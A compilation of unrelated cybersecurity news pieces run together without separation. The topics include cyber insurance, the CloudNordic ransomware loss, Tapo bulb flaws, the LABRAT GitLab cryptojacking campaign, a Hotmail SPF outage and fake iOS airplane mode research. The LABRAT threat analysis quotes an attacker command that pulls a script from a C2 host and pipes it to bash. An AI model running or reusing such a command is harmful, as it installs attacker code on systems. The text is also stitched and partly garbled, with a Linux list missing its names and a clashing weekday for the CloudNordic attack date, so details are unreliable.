The cybersecurity insurance sector is experiencing swift expansion, with its value surging from around $13 billion in 2022 to a projected $84 billion by 2030, reflecting a robust 26% compound annual growth rate (CAGR). However, insurance providers are encountering challenges when it comes to accurately assessing the potential hazards associated with providing coverage for this category of risk.
Conventional actuarial models are ill-suited for an arena where exceptionally driven, innovative, and astute attackers are actively engaged in orchestrating events that lead to insurable incidents. Precisely gauging potential losses holds utmost importance in establishing customer premiums. However, despite a span of twenty years, there exists a substantial variance in loss ratios across insurance providers, ranging from a deficit of 0.5% to a surplus of 130.6%. The underwriting procedures lack the necessary robustness to effectively appraise these losses and set premiums that reflect a reasonable pricing.
Why is the insurance industry struggling with this?
The problem is with the nature of the threat. Cyber attackers escalate and adapt quickly, which undermines the historical-based models that insurance companies rely on. Attackers are continually shifting their maneuvers that identify victims, cause increasing loss, and rapidly shift to new areas of impact.
Denial of service attacks were once popular but were superseded by data breaches, which cause much more damage. Recently, attackers expanded their repertoire to include ransomware-style attacks that increased the insurable losses ever higher.
Trying to predict the cornerstone metrics for actuary modelers – the Annual Loss Expectancy and Annual Rate of Occurrence – with a high degree of accuracy is beyond the current capabilities of insurers. The industry currently conducts assessments for new clients to understand their cybersecurity posture to determine if they are insurable, what should be included/excluded from policies, and to calculate premiums. The current process is to weigh controls against best practices or peers to estimate the security posture of a policyholder.
However, these rudimentary practices are not delivering the necessary level of predictive accuracy.
The loss ratio for insurance firms has been volatile, in a world where getting the analysis wrong can be catastrophic. Variances and unpredictability make insurers nervous. At maximum, they want a 70% loss ratio to cover their payouts and expenses and, according to the National Association of Insurance Commissioners Report on the Cyber Insurance Market in 2021, nearly half of the top 20 insurers, representing 83% of the market, failed to achieve the desired loss ratio.
In response to failures to predict claims, insurers have been raising premiums to cover the risk gap. In Q4 2021 the renewals for premiums were up a staggering 34%. In Q4 2022 premiums continued to rise an additional 15%.
There are concerns that many customers will be priced out of the market and the insurance industry and left without a means of transferring risk. To the detriment of insurers, the companies may make their products so expensive that they undermine the tremendous market-growth opportunity. Additionally, upper limits for insurability and various exception clauses are being instituted, which diminish the overall value proposition for customers.
The next generation of cyber insurance
What is needed are better tools to predict cyber attacks and estimate losses. The current army of insurance actuaries has not delivered, but there is hope. It comes from the cyber risk community that looks to manage these ambiguous and chaotic risks by avoiding and minimizing losses.
These cybersecurity experts are motivated by optimizing limited resources to prevent or quickly undermine attacks. As part of that continuous exercise, there are opportunities to apply best practices to the insurance model to identify the most relevant aspects that include defensive postures (technology, behaviors, and processes) and understanding the relevant threat actors (targets, capabilities, and methods) to determine the residual risks.
The goal would be to develop a unified standard for qualifying for cyber insurance that would adapt to the rapid changes in the cyber landscape. More accurate methodologies will improve assessments to reduce insurers’ ambiguity so they may competitively price their offerings.
In the future, such calculations will be continuous and showcase how a company will benefit by properly managing security in alignment with shifting threats. This should bring down overall premium costs.
The next generation of cyber insurance will rise on the foundations of new risk analysis methodologies to be more accurate and sustain the mutual benefits offered by the insurance industry.
Cloud Hosting Provider Lost all Customer Data Following Ransomware Attack
There has been a cyber attack on two cloud hosting providers, namely CloudNordic and Azero Cloud, which Certiqa Holding owns. The cyberattack has resulted in complete data loss for all their customers.
The cloud attack was reportedly on Friday, April 18, 2023, at around 4 AM when CloudNordic and Azero cloud were exposed to a ransomware attack in which the threat actors shut down all the systems, including customer systems, e-mail systems, customers’ websites, and everything they gained access to.
Both companies mentioned that they could not and didn’t want to pay the ransom demanded by the threat actors. However, the IT teams of CloudNordic and Azero Cloud are working with external experts to get complete information about the attack and possible recreation.
Unfortunately, the companies could not recover or recreate any customer data, and they have lost every piece of data on their customers, mail servers, web servers, etc.
Current Status
CloudNordic and Azero Cloud are highly affected by this cyber attack, and they have lost largely critical customer data but have re-established communications.
This means they have now deployed blank systems, including name servers, web servers, and mail servers. However, none of them contain any previous data.
The company has sorted out a way to restore the DNS administration interface that can enable users to get email and the web working again.
Attack Explanation
As per the reportsubmitted to Cyber Security News, both companies attempted to migrate between data centers and had some infected systems before the migration, which the company did not know.
Nevertheless, some servers used to manage all the servers were still wired to the previous network. Threat actors gained access to the administration systems with this network misconfiguration, which paved their way toward the backup systems (both primary and secondary backup).
The attackers encrypted all the systems they had access to, including all the virtual machines. Large amounts of data were reported to have been encrypted by the ransomware, but there seems to be no evidence of data being copied.
Both companies claimed there seemed to be no evidence of a data breach and regretted the inconvenience caused to their customers.
With the rise in cyberattacks and cybercriminals, every organization must implement multiple security measures and monitor every piece of traffic to prevent these kinds of cyberattacks.

The Internet of Things (IoT) is currently at its peak, with a rapid expansion of capabilities. This involves converting everyday items like light bulbs and plugs into smart devices controlled via smartphones. The number of IoT devices exceeded 13.8 billion in 2021, expected to quadruple by 2025, but this growth also introduces security risks exploited by cybercriminals. Researchers have discovered that even smart light bulbs, like the Tp-Link Tapo Smart Wi-Fi Multicolor Light Bulb, can be hacked to gather Wi-Fi credentials. They employed PETIoT, an IoT-focused Kill Chain, to assess vulnerabilities in these bulbs. This situation highlights challenges for cybersecurity experts dealing with the growing threats in the IoT landscape.
Because it is a cloud-enabled multicolor smart bulb, the Tapo L530E may be operated using the Tapo app on an Android or iOS device without the need for a hub. Instead, it connects directly to the home Wi-Fi network. According to the findings of the researchers, this particular kind of smart bulb is susceptible to each of the following four vulnerabilities:
LACK OF AUTHENTICATION OF THE SMART BULB WITH THE TAPO APP (8.8 CVSS SCORE, HIGH SEVERITY)
HARD-CODED, SHORT SHARED SECRET (7.6 CVSS SCORE, HIGH SEVERITY)
LACK OF RANDOMNESS DURING SYMMETRIC ENCRYPTION (4.6 CVSS SCORE, MEDIUM SEVERITY)
INSUFFICIENT MESSAGE FRESHNESS (5.7 CVSS SCORE, MEDIUM SEVERITY)
The examination and testing carried out by the security experts indicate the proximity-based attacks that were carried out on the smart bulb that was the target.The attack scenario that causes the greatest concern is one in which an attacker impersonates a bulb and retrieves information about a Tapo user account by exploiting vulnerabilities.
After that, the attacker may extract the victim’s WiFi SSID and password by using the Tapo app, allowing them to obtain access to any and all other devices that are connected to the victim’s network.
In order for the attack to be successful, the device in question must first be put into setup mode. However, the attacker has the ability to deauthenticate the bulb, which will need the user to re-configure it in order to get the light to work again.The researchers also investigated an MITM (Man-In-The-Middle) attack using a configured Tapo L530E device. This form of attack takes advantage of a vulnerability to intercept and control the connection between the app and the bulb, as well as to capture the RSA encryption keys that are used for further data transmission.
MITM attacks are also possible with unconfigured Tapo devices by leveraging a vulnerability once again by connecting to the WiFi during the setup process, bridging two networks, and routing discovery messages. This will eventually allow the attacker to retrieve Tapo passwords, SSIDs, and WiFi passwords in an easily decipherable base64 encoded form. Last but not least, a further flaw enables attackers to conduct what are known as “replay attacks.” These attacks involve recreating communications that have been sniffed in the past in order to bring about functional changes in the device.
In response, TP-Link gave the researchers their assurance that the issues that were found in their software as well as the firmware of the bulb will be fixed.

One of Mississippi’s largest hospital systems, Singing River Health System, suffered a cyberattack last week, leading to the shutdown of various internal services. The hospital system, which operates multiple hospitals and clinics along the Gulf Coast, detected unusual activity on its network and is cooperating with law enforcement. As a result of the attack, certain internal systems were taken offline to ensure their integrity during the investigation. The hospital’s IT security team is working to restore the offline systems, but the process is expected to take time. The hospital has not confirmed whether the attack involved ransomware or if a ransom will be paid. Patient services, including lab test results and radiology exams, are facing delays due to the attack. The incident highlights the ongoing challenges that hospitals face from cyberattacks, as this year has seen several healthcare institutions targeted by such attacks.

Israel and US government agencies announced the BIRD Cyber Program, an investment of roughly $4M in projects to enhance the cyber resilience of critical infrastructure.
The BIRD Cyber Program is a joint initiative from the Israel National Cyber Directorate (INCD), the Israel-US Binational Industrial Research and Development (BIRD) Foundation, and the US Department of Homeland Security (DHS) Science and Technology Directorate (S&T) to promote projects to enhance the cyber resilience of critical infrastructure in both countries.
The program is managed by the BIRD Foundation, a non-profit organization that supports joint research activities between Israeli and American organizations. The initiative plans to invest $3.85 million in projects to develop cutting-edge defense solutions.
The total value of the projects will be increased to approximately $10 million through private-sector funding.
The initiative aims at developing new solutions for detecting and preventing cyberattacks, technologies to protect sensitive data, and improve the security of critical infrastructure systems.
The BIRD foundation provides funding of up to 50% for each approved project, it is important to note that no repayment is required if the project does not reach the sales stage.
The BIRD Cyber Program also provides mentoring for the growth of the projects.
Below are the eligibility requirements for the BIRD Cyber Program:
The project must be a joint venture between an Israeli and an American company.
The project must focus on cybersecurity or emerging technologies.
The project must have the potential to enhance the cyber resilience of critical infrastructure.
The project must be at the prototype or early development stage.
The BIRD Cyber Program will award four grants for projects related the maritime sectors, airport and air traffic, and industrial control systems (ICS).
Below are the projects approved:
Rescana (Tel-Aviv, Israel) and Trend Micro (Irving, TX) – which will develop an operational cyber threat intelligence capability to inform cyber risk maritime decision-making.
Salvador Technologies (Rehovot, Israel) and Bastazo (Fayetteville, AR) – which will develop a solution for Industrial Control Systems (ICS) vulnerability management, monitoring, and rapid recovery from cyber-attacks.
Cyber 2.0 (Rishon Letzion, Israel) and Cincinnati / Northern Kentucky International Airport (Hebron, KY) – which will develop a platform for airports and air traffic that provides continuous cyber visibility, real-time monitoring, and data traffic detection to reduce risks and boost compliance with regulations.
A fourth project – which will develop an airport cyber protection solution across the entire attack surface.
The above projects were submitted in response to the first BIRD Cyber call.
“We are pleased to jointly invest with our Israeli partners in these innovative projects and anticipate that they will deliver new capabilities to enhance the cybersecurity posture and overall resilience of vital critical sectors in both nations,” said Megan Mahle, Director of the DHS S&T Office of Industry Partnerships. Aviram Atzaba, Executive Director for International Cooperation of INCD, added: “We are proud to partner with DHS to develop cutting-edge solutions for small and medium-sized businesses and critical infrastructure cybersecurity… The BIRD mechanism continues to strengthen the strategic alliance between Israel and the United States.”
A new campaign called LABRAT is targeting GitLab with cryptojacking and proxyjacking.
LABRAT, a financially motivated operation, has been uncovered by the Sysdig Threat Research Team (TRT). Notably, the attackers have prioritized stealth and defense evasion tactics.
The LABRAT attackers used an open-source rootkit called hiding-cryptominers-linux-rootkit to conceal their crypto-mining activity by hiding files, processes, and CPU usage.
Technical Analysis – GitLab exploitation
The attacker gained initial access to a container by exploiting the known GitLab vulnerability, CVE-2021-22205. In this vulnerability, GitLab does not properly validate image files passed to a file parser, resulting in a remote command execution. There are many public exploits for this vulnerability, which is still actively exploited.
Once the attacker had access to the server, they executed the following command to download a malicious script from the C2 server. curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash
The initial script allowed the attacker to achieve persistence, evade defenses, and perform lateral movement through the following actions:
Check whether or not the watchdog process was already running to kill it.
Delete malicious files if they exist from a previous run.
Disable Tencent Cloud and Alibaba’s defensive measures, a recurring feature of many attackers.
Download malicious binaries.
Create a new service with one of these binaries and if root, ran it on the fly.
Modify various cron files to maintain persistence.
Gather SSH keys to connect to those machines and start the process again, doing lateral movement.
Deletes any evidence that the above processes may have generated.
Someone at Microsoft has some explaining to do after a messed up DNS record caused emails sent from Hotmail accounts using Microsoft’s Outlook service to be rejected and directed to spam folders starting on Thursday.
Late on Thursday evening, Hotmail users began reporting that some emails were being returned with errors related to Sender Policy Framework (SPF), and thus recipient email services were unable “to confirm that [a] message came from a trusted location.”
SPF, for those unfamiliar with it, is a method of outbound email authentication that helps avoid email spoofing, impersonation and phishing. If, for example, a service like Hotmail were to have one of its subdomains removed from the DNS TXT record that stores its SPF list, then recipient services may assume it’s junk.
And that appears to be just what happened.
Reddit users posting to the Sysadmin subreddit verified they were experiencing SPF issues with Hotmail. One user pulled up Hotmail’s SPF record and found that Redmond had made two changes: removing spf.protection.outlook.com from the record, and changing the SPF failure condition from soft to hard. That meant any suspicious messages from Hotmail should be rejected rather than just sent to spam.
Microsoft support forum advisors confirmed that the issue was known, which was further confirmed by a look at the Office service status page. Per Microsoft: “Some users may receive non-delivery reports when attempting to send emails from hotmail.com.”
At time of writing, the status page indicated that “a recent change to email authentication” was the potential root cause of the outage. Microsoft said it made a configuration change to remediate impact, but shortly after said the problem may have been worse than it appeared at first glance.
“We’ve identified that additional configuration entries are impacted, and we’re implementing further configuration changes to resolve the issue,” Microsoft said. Not long after that was posted, Microsoft indicated configuration changes were complete and the problem was fixed.
Microsoft didn’t respond to our questions about the incident, only saying the issue had been resolved.
In 2022, global losses from business email compromise (BEC) and email account compromise (EAC) attacks reached a record-breaking $43 billion, as reported by the FBI. Major cybersecurity companies like Microsoft and Trend Micro noted a surge in advanced phishing attacks earlier in the year, resulting in significant financial damages to organizations of all sizes. Concerns have risen among security experts about the potential for a surge in email credential attacks due to the widespread availability of generative AI technologies like ChatGPT. These attacks could range from simple social engineering tactics to complex schemes involving domain-squatting and spear-phishing, taking advantage of previously stolen personal information. Despite increasing spending on corporate cybersecurity, the risk of such attacks continues to rise.
To aid organizations in evaluating their vulnerability to email-related security, privacy, and compliance risks, ImmuniWeb has introduced a free email security test as part of its Community Edition. This online tool performs over 200,000 security scans daily, helping small and medium-sized enterprises, educational institutions, non-profits, municipal governments, and individual developers identify a wide range of cybersecurity and compliance issues. The aim is to bolster foundational cyber resilience and information security for these entities.
The frequency of cyberattacks is increasing, particularly targeting smaller businesses. However, most small and mid-size companies cannot afford a full-time security professional. To address this, they are turning to vCISO (virtual Chief Information Security Officer) services offered by Managed Service Providers (MSPs) and Managed Security Service Providers (MSSPs). These services provide access to external cybersecurity experts at a lower cost than hiring an in-house CISO.
A report by Cynomi, based on a survey of 200 executives in the U.S. and Canada, shows the rising demand for vCISO services among SMBs and how MSPs and MSSPs are responding to this demand. The report reveals that 84% of those not currently offering vCISO services but plan to do so by the end of 2024. The number of providers offering these services has been consistently growing, with 8% in 2022, 28% in 2023, and a projected 45% in 2024.
MSPs and MSSPs are motivated to offer vCISO services due to anticipated increased revenue, higher margins, easy upselling of other cybersecurity services, and enhanced client engagement. Although they foresee challenges such as limited in-house security knowledge and a lack of skilled cybersecurity personnel, vCISO platforms help mitigate these concerns.
Cynomi, a leading vCISO platform provider, aims to conduct annual studies on the growing trend of the vCISO role. They have also created a directory of prominent vCISO service providers to help SMBs find trusted security partners, offering details about services and technology platforms used by each provider.
In the provided article, the author, who is a Chief Information Security Officer (CISO), discusses the challenges and strategies related to maintaining technical expertise while effectively communicating complex cybersecurity issues to stakeholders in a comprehensible manner.
The author emphasizes the importance of understanding the intricacies of technology in order to secure it effectively. This philosophy has driven the author to stay up-to-date with technology trends, collaborate with other security experts, and maintain a deep connection with their technical teams. The author also highlights the value of using simple metaphors to explain complex concepts, leveraging their strong technical background to convey information in a way that is easier for non-technical stakeholders to grasp.
In the context of managing cyber resilience efforts across an enterprise, the author draws parallels to managing different types of risk, categorizing them as good and bad risks. Good risks are those that contribute to business growth and innovation, while bad risks are associated with lacking proper planning and security measures. Balancing these risks requires strong relationships across the organization and constant communication.
The article also discusses the impact of digital initiatives and rapid digital transformation on the CISO’s role. While digital transformation can enhance efficiency and lower risks, challenges arise when new technologies like cloud or SaaS services are introduced without a clear understanding of their security implications. Collaboration between technology vendors, cybersecurity companies, and leadership teams is essential to address these challenges.
In the face of external events that test organizational resilience, the author presents four key principles for effective leadership: communication, agility, constant learning, and adaptability. These principles help leaders navigate uncertainties, learn from experiences, and handle change more effectively.
For a newly appointed CISO tasked with explaining complex cyber regulations to the board, the author suggests researching the backgrounds and industries of board members to tailor explanations to their perspectives. Comparisons to regulations in related industries or significant news events can help the board better understand the issues and recognize the CISO’s commitment to understanding the regulatory landscape.
In summary, the article underscores the need for CISOs to balance technical expertise with effective communication, employing metaphors to simplify complex concepts, and building strong relationships to manage cyber risks across the enterprise. It also highlights the challenges and strategies associated with digital transformation, organizational resilience, and succinctly communicating complex regulations to the board.
The Linux Distros is generally acknowledged as the third of the holy triplet of PC programs, along with Windows and macOS. Here we have provided you with a top 10 best Linux distros in 2023 for all professionals.
Hence Linux can be defined as the most rebellious among the three, as it’s flexible and customizable, including a bunch of various Best Linux distros designed by unique associations for various values.
Moreover, the Linux “core” (kernel) and most distros are free, which is a significant trading point for the OS when it is compared to Windows and macOS.
As there are several Linux distros are available for various situations. Even if you are behind an OS that is customized for desktops, workstations, laptops, servers, gaming, or A/V editing, there is a distro over there for everyone.
Hence, we are trying to summarize the most reliable and popularLinux distros accessible, each of which is customized for desktop use.
Therefore, you can install those Linux distros on a Chromebook, PC, or Mac as a substitute for your prevailing operating system, utilize both in a dual-boot scenario or in combination with one of the best practical tools out there.
Well, if you want a Linux distro similar to Windows? Or do you like to apply commands rather than click? Or do you want something special on privacy? These and several other determinants will help you decide which would be the most suitable Linux distro for you.
Usually, the top Linux distros list is customized to meet users’ requirements. For example, Kali Linux is specifically created for digital forensics and penetration testing.
Hence, here in this article, we have selected the top 10 best Linux distros list, and we have updated this list from PopularLinux distro 2022.
What is Linux Distro?
As we have said before that Linux is flexible and customizable, which includes a bunch of unique features for different uses.
Moreover, we can also say that Linux is a house to nearly each programming language, and it is a Unix-like operating system.
Hence, this open-source operating system is basically designed as per the Linux kernel and is usually collected in multiple Linux distributions.
Thus the Linux distributions, traditionally known as a distro, are operating systems that progressed from a software compilation based on the Linux kernel.
Various users use Linux by downloading one of the various Linux distros. Linux operating systems are most common to coders, programmers, and gamers.
Thus, we can say that Linux is a worldly gift that has shaped our modern lives. In today’s world, we can’t imagine a particular moment outwardly technology.
Dynamic firewall Better end-user software Virtual desktop support
Elementary OS
Easy image resizing Keyboard shortcut cheat sheet Bold use of color
Kali Linux
Full customization Full disk encryption Metapackages
MX Linux
One-click enabling event sound. Hibernation is now enabled by default. Easy and flexible installation.
Therefore, Linux has produced the most significant innovations in the creation of modern technology.
At first, Linux was not like the form it is; it has evolved a long way through varied crafting and drafting from an open-source friendly association.
Thus, without a doubt, we can say that Linux does not only appear with a delicate-looking desktop manager, but it also contributes a wide range of beneficial and productive sets of free and open-source software for performing all the basic and necessary needs of the users.
Now, without wasting much time, let’s explore the list below.
Cybersecurity reduces the risk of cyber attacks and protects against the unauthorized exploitation of systems, networks and technologies.
Cyber risk management is complex and there is no one-size-fits-all solution. IT Governance’s range of cybersecurity products and services can be tailored to suit any organization’s needs and requirements.
From training, staff awareness programs, security testing, documentation toolkits, standards, software, books and guides, ITG have everything you need to support and enhance your security program.
Data breach notification requirements are complex in the US, with various federal and state laws containing different requirements for when security incidents must be disclosed.
Some even have substantially different definitions for what a ‘data breach’ or ‘personal data’ is.
As such, it can be hard to know whether you need to report an incident, let alone how you should go about it.
We address these issues in this blog, bringing some much-needed clarity to the subject.
State laws on data breach notification
There is no single set of data protection laws in the U.S., with the rules instead comprised of a patchwork of industry-specific federal laws and state legislation.
To complicate matters further, several states have created new laws in recent years to bolster data protection requirements. For instance, New York has created the SHIELD Act, while Colorado and California have both created data privacy legislation.
Elsewhere, the U.S. government is attempting to unify data protection requirements with its National Cybersecurity Strategy.
The decision to revise data protection laws follows the introduction of the EU GDPR (General Data Protection Regulation) in 2018, which radically shifted organizations’ requirements.
Organizations in the U.S. that process EU residents’ personal data are required to comply with the GDPR, and those that conduct business across state lines will face similar compliance challenges.
The GDPR is particularly important here, because many organizations in the U.S. assume that it only applies in the EU. However, its requirements apply to any organization that processes EU residents’ personal data, which is particularly common for organizations that have an online presence.
GDPR compliance is also helpful for managing patchwork of U.S. data protection legislations. Its requirements are far stricter than any domestic laws, so achieving GDPR compliance will cover you for a range of other requirements.
This free guide explains how and when the GDPR applies in the U.S. and the steps you can take to ensure your organization meets its transatlantic data processing practices.
You’ll also learn about the Regulation’s core principles and data subject rights, and the benefits of GDPR compliance.
We also provide tips on how to write your data privacy notice and give you tips on how to further your understanding of its compliance requirements.
This summer, hundreds of thousands of people will be preparing to take off while sitting back, relaxing, and using the airplane mode setting on their iPhones. When this setting is activated, the device’s radio frequency (RF) transmission technology is turned off, which severes the user’s connection to their mobile network for the duration of the flight.This function, which was first implemented many years ago as a precautionary safety measure to shield aircraft from what was believed to be tampering with their communications or navigation systems, is also known as flight mode or fly safe mode. In point of fact, many people have exaggerated the severity of this perceived risk to aircraft safety. As a result, the regulations are not as stringent as they once were, and the quality of in-flight Wi-Fi services has increased to the point where they are now usable. Despite this, activating airplane mode continues to be an essential part of the pre-flight procedure.
Nevertheless, researchers at Jamf Threat Labs have recently uncovered and successfully demonstrated an exploit approach that allows an attacker to retain persistence on their victim’s device even when the user thinks they are offline. This technique was developed in response to a vulnerability that was revealed in a previous exploit. The approach, which has not been seen being used in the wild, relies on the successful development of a fake airplane mode “experience” by a hypothetical threat actor. This “experience” causes the device to give the appearance of being offline while in reality it is still functioning normally.
The exploit chain that was put together by Jamf ultimately results in a scenario in which processes that are controlled by an attacker are able to operate in the background undetected and unseen, while the owner of the device is blissfully oblivious that anything is wrong.
SpringBoard, which handles visible changes to the user interface (UI), and CommCentre, which controls the underlying network interface and maintains a feature that enables users to limit mobile data access for certain applications, are the two daemons that are assigned with the process of converting iOS devices to airplane mode. SpringBoard handles visible changes to the UI, while CommCentre manages the functionality. When airplane mode is activated under typical circumstances, the mobile data interface will no longer show IPv4 or 6 IP addresses. Additionally, the mobile network will become disconnected and inaccessible to the user at the level of the user space.
The Jamf team, on the other hand, was able to pinpoint the pertinent area of the target device’s console log and, from that point on, utilize a certain string—”#N User airplane mode preference changing from kFalse to KTrue”—to locate the code that was referencing it. From there, they were able to successfully access the code of the device, at which point they hooked into the function and replaced it with an empty or inactive function. They were able to do this in order to construct a bogus airplane mode, in which the device does not truly get disconnected from the internet and they still have access to it.
After that, they went after the user interface by hooking two unique Objective-C methods to inject a tiny bit of code that changed the mobile connection indicator to make it seem dark, leading the user to believe that it is switched off, and highlighting the airplane mode icon, which is represented by a picture of an airplane.If the hypothetical victim were to open Safari at this point, they would have a good reason to believe that they would be prompted to disable airplane mode or connect to a Wi-Fi network in order to access data. This would be a reasonable assumption given that it seems that aircraft mode is enabled on their device.
They would receive a separate message asking them to authorize Safari to utilize wireless data through WLAN or mobile, or WLAN alone, which would be a hint that something was wrong. However, since they are really still connected to the internet, they would see this prompt.The Jamf team was aware that this problem needed to be fixed in order for the exploit chain to be successful. As a result, they devised a strategy that enabled them to give the impression to the user that they had been disconnected from mobile data services. This was accomplished by exploiting the CommCenter feature, which blocks mobile data access for specific applications, and then disguising this action as airplane mode by hooking yet another function.
They accomplished this by creating an environment in which the user was presented a prompt to switch off airplane mode, rather than the prompt that they should have seen.The team made use of a feature of SpringBoard that prompts the “turn off airplane mode” notification after being notified to do so by CommCenter. CommCenter, in turn, receives this notification from the device kernel via a registered observer/callback function. This allowed the team to disable Safari’s internet connection without actually turning on airplane mode.
The group then discovered that CommCenter also handles a SQL database file that records the mobile data access status of each program. If an application is prevented from accessing mobile data, that application is marked with a particular flag. They would then be able to selectively prohibit or enable an application’s access to mobile data or Wi-Fi by reading a list of application bundle IDs and obtaining their default settings from this information.
Chain of exploitation
After putting all of this information together, the team had basically developed an attack chain in which their fake airplane mode seems to the victim to be running exactly as the genuine one does, with the exception that non-application programs are allowed to access mobile data.”This hack of the user interface disguises the attacker’s movement by placing the device into a state that is counterintuitive to what the user expects,” he added. “The user expects one thing, but the device behaves in a way that betrays their expectations.” “An adversary could use this to surveil the user and their surroundings at a time when no one would suspect video recording or a live microphone capturing audio,” says one researcher. “This could give an adversary an advantage in a fight.” This is feasible because to the fact that the mobile device in question is still connected to the internet, regardless of what the user interface is trying to convey to them.
According to Covington, the discovery does not fall under the normal responsible disclosure process because the exploit chain does not constitute a vulnerability in the traditional sense. Rather, it is a technique that enables an attacker to maintain connectivity once they have control of the device through another series of exploits. Researchers Did Notify Apple of the Research but no one has responded to request for comment.”
The new attack approach poses a danger, but if it were to be used in anger, it would more likely be used in a targeted attack scenario by a threat actor with very particular aims in mind than in a mass-exploitation event targeting the general public. If it were to be used in anger, however, it would be more likely to be used in anger by a threat actor with very specific goals in mind. As an example, exploitation for the purposes of espionage or surveillance by adversarial actors supported by the government against persons of interest is a scenario that is more likely than exploitation by financially driven cyber thieves.
Despite the fact that the technique is most likely to be used in a targeted attack, it is still important to raise awareness on how device user interfaces, particularly those built by trusted suppliers such as Apple, can be turned against their users. This is because of the inherent trust that people place in their mobile devices. The most crucial thing, according to him, is for consumers and security teams to better understand contemporary attack methods like those shown by the fake airplane mode study. In a sense, this is the next generation of social engineering, and it’s not too unlike to how artificial intelligence is being used to produce bogus testimonials that look to be from well-known celebrities.
